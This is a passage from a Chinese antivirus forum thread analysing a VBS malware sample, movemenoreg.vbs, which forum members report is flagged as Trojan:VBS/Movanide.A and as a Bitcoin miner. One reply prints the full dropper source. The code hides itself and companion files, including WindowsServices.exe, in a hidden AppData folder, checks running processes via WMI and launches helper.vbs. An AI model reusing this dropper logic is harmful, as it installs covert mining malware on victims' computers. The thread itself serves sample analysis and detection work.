123
返回列表 发新帖
楼主: evans168
收起左侧

[病毒样本] movemenoreg.vbs

[复制链接]
jdsh
发表于 2019-9-20 17:55:46 | 显示全部楼层
evans168 发表于 2019-9-20 17:53
你的 FSP 沒在用啦???

暂时更新不了就先用会红伞beta,等更新恢复后再用

评分

参与人数 1人气 +1 收起 理由
evans168 + 1 感谢解答: )

查看全部评分

ELOHIM
发表于 2019-9-20 21:14:09 | 显示全部楼层
Trojan:VBS/Movanide.A
Eset小粉絲
发表于 2019-9-21 10:17:32 | 显示全部楼层


上报后,已可以检测。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wae
发表于 2019-9-21 10:44:34 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
evans168
 楼主| 发表于 2019-9-21 11:44:41 | 显示全部楼层

BD 報挖礦病毒 BitCoinMiner

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
我是电脑迷
发表于 2019-9-21 14:52:03 | 显示全部楼层
on error resume next
Dim  strPath, objws, objFile, strFolder, Target, SourceFolder, destFolder, objDestFolder, AppData, ws, objmove, pfolder, objWinMgmt, colProcess, vaprocess
Set ws = WScript.CreateObject("WScript.Shell")

Target = "\WindowsServices"




'where are we?
strPath = WScript.ScriptFullName
set objws = CreateObject("Scripting.FileSystemObject")
Set objFile = objws.GetFile(strPath)
strFolder = objws.GetParentFolderName(objFile)
pfolder = objws.GetParentFolderName(strFolder)
ws.Run pfolder & "\_"


AppData = ws.ExpandEnvironmentStrings("%AppData%")



DestFolder = AppData & Target  ' target
SourceFolder = strFolder


if (not objws.folderexists(DestFolder)) then '檢查資料夾存在
        objws.CreateFolder DestFolder             '建立資料夾
        Set objDestFolder = objws.GetFolder(DestFolder)
        objDestFolder.Attributes = objDestFolder.Attributes + 2 '
end if

'移動並隱藏檔案
Call moveandhide ("\helper.vbs")
Call moveandhide ("\installer.vbs")
Call moveandhide ("\movemenoreg.vbs")
Call moveandhide ("\WindowsServices.exe")



sub moveandhide (name)
        if (not objws.fileexists(DestFolder & name)) then '檢查檔案存在
                objws.CopyFile strFolder & name, DestFolder & "\" '
                Set objmove = objws.GetFile(DestFolder & name)
       
                If not objmove.Attributes AND 2 then '檢查是否是隱藏的檔案
                        objmove.Attributes = objmove.Attributes + 2 '設定為隱藏
                end if
        end if
end sub



Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2") '連接到本地的WMI服務
Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name = 'wscript.exe'") '找出正在執行的process中,哪個叫"wscript.exe"

For Each objProcess In colProcess
        vaprocess = objProcess.CommandLine
                if instr(vaprocess, "helper.vbs") then '檢查helper.vbs是否有在process內
                        WScript.quit
                End if
Next


ws.Run DestFolder & "\helper.vbs" '執行電腦上的"helper.vbs"


Set ws = Nothing
我已经发现多个语法问题 只能运行在老系统。。而且开启了容错模式,有错误也不知道。。例如第二行。。而且自带注释
360linux kill
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-4-27 13:02 , Processed in 0.105515 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表